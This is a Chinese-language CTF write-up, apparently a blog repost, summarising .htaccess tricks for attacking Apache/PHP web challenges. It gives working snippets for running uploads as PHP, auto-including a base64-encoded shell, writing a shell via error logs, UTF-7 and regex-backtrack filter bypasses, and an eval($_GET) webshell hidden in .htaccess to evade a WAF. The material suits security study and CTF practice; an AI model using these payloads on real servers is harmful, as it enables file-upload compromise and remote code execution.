.htaccess tricks总结

.htaccess tricks总结

.htaccess在CTF Web中还是很常见的,今天又做到一道很有意思的题,下定决心总结一波

一、什么是.htaccess

参考Apache HTTP Server Tutorial: .htaccess files

.htaccess文件(或“分布式配置文件”)提供了一种基于每个目录进行配置更改的方法。包含一个或多个配置指令的文件放置在特定的文档目录中,这些指令适用于该目录及其所有子目录。

如果开启.htaccess,可以在所在文件夹和子文件下改变php.ini的配置。对于黑客来说,如果能控制.htaccess,就可以完成绕WAF、文件包含、文件上传等操作

二、利用条件

首先目标主机必须开启.htaccess,配置在apache2.conf中,这里是部分配置

# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
        Options FollowSymLinks
        AllowOverride None
        Require all denied
</Directory>

<Directory /usr/share>
        AllowOverride None
        Require all granted
</Directory>

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride ALL   # 默认应该是None,ALL表示/var/www/下所有文件接受.htaccess的重写
        Require all granted
</Directory>

# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess # 分布式配置文件也不一定叫.htaccess,可以在这里自己设置

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
        Require all denied # 防止.htaccess和.htpasswd被Web用户看到
</FilesMatch>

三、利用方式 && tricks

1、将指定后缀名的文件当做php解析

AddType text/example ".exm"
AddType application/x-httpd-php .cc

上例将后缀名为.exm的文件当做text解析,将.cc文件当做php来解析

用途:文件上传时绕过黑名单校验,不过现在一般不会单独考这个

2、php_value利用php中的配置

php.ini 配置选项列表

(1)自动包含文件

php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

使作用范围内的php文件在文件头/尾自动include指定文件,支持php伪协议

php_value include_path "xxx"

如果当前目录无法写文件,也可以改变包含文件的路径,去包含别的路径的文件

用途:文件包含,可以配合AddType
例题:刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

(2)利用报错信息写文件

php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

开启报错的同时将报错信息写入文件

用途:利用报错写shell
例题:刷题记录:[XNUCA2019Qualifier]EasyPHP

(3)UTF-7编码绕过尖括号<过滤

php_value zend.multibyte 1 # 启用多字节编码的源文件解析
php_value zend.script_encoding "UTF-7"

将代码的解析方式改成UTF-7
payload样例:

+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs

例题:l33t-hoster

(4)prce绕过正则匹配

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

3、tricks

(1)\换行绕过脏字符&&绕WAF

.htaccess似乎可以像shell那样使用\将两行内容解释为一行

  • 绕过脏字符
    如果.htaccess文件中有不符合语法的内容,访问服务器会直接报500,如果题目中乱写.htaccess文件,我们可以尝试换行注释掉脏字符
    例如:题目中有file_put_contents($filename, $content . "\nJust one chance"),我们payload最后可以加上#\#负责注释,\将注释符和脏字符连成一行,注释掉脏字符,最后的文件为
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance
  • 绕过WAF
    如果题目过滤了'file',可以这么写.htaccess
php_value auto_prepend_fi\
le ".htaccess"
#<?php eval($_GET[a]);?>\

(2)绕过exif_imagetype()上传.htaccess

#define width 20
#define height 10

采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
#define test_width 16
#define test_height 7

猜你喜欢

转载自www.cnblogs.com/20175211lyz/p/11741348.html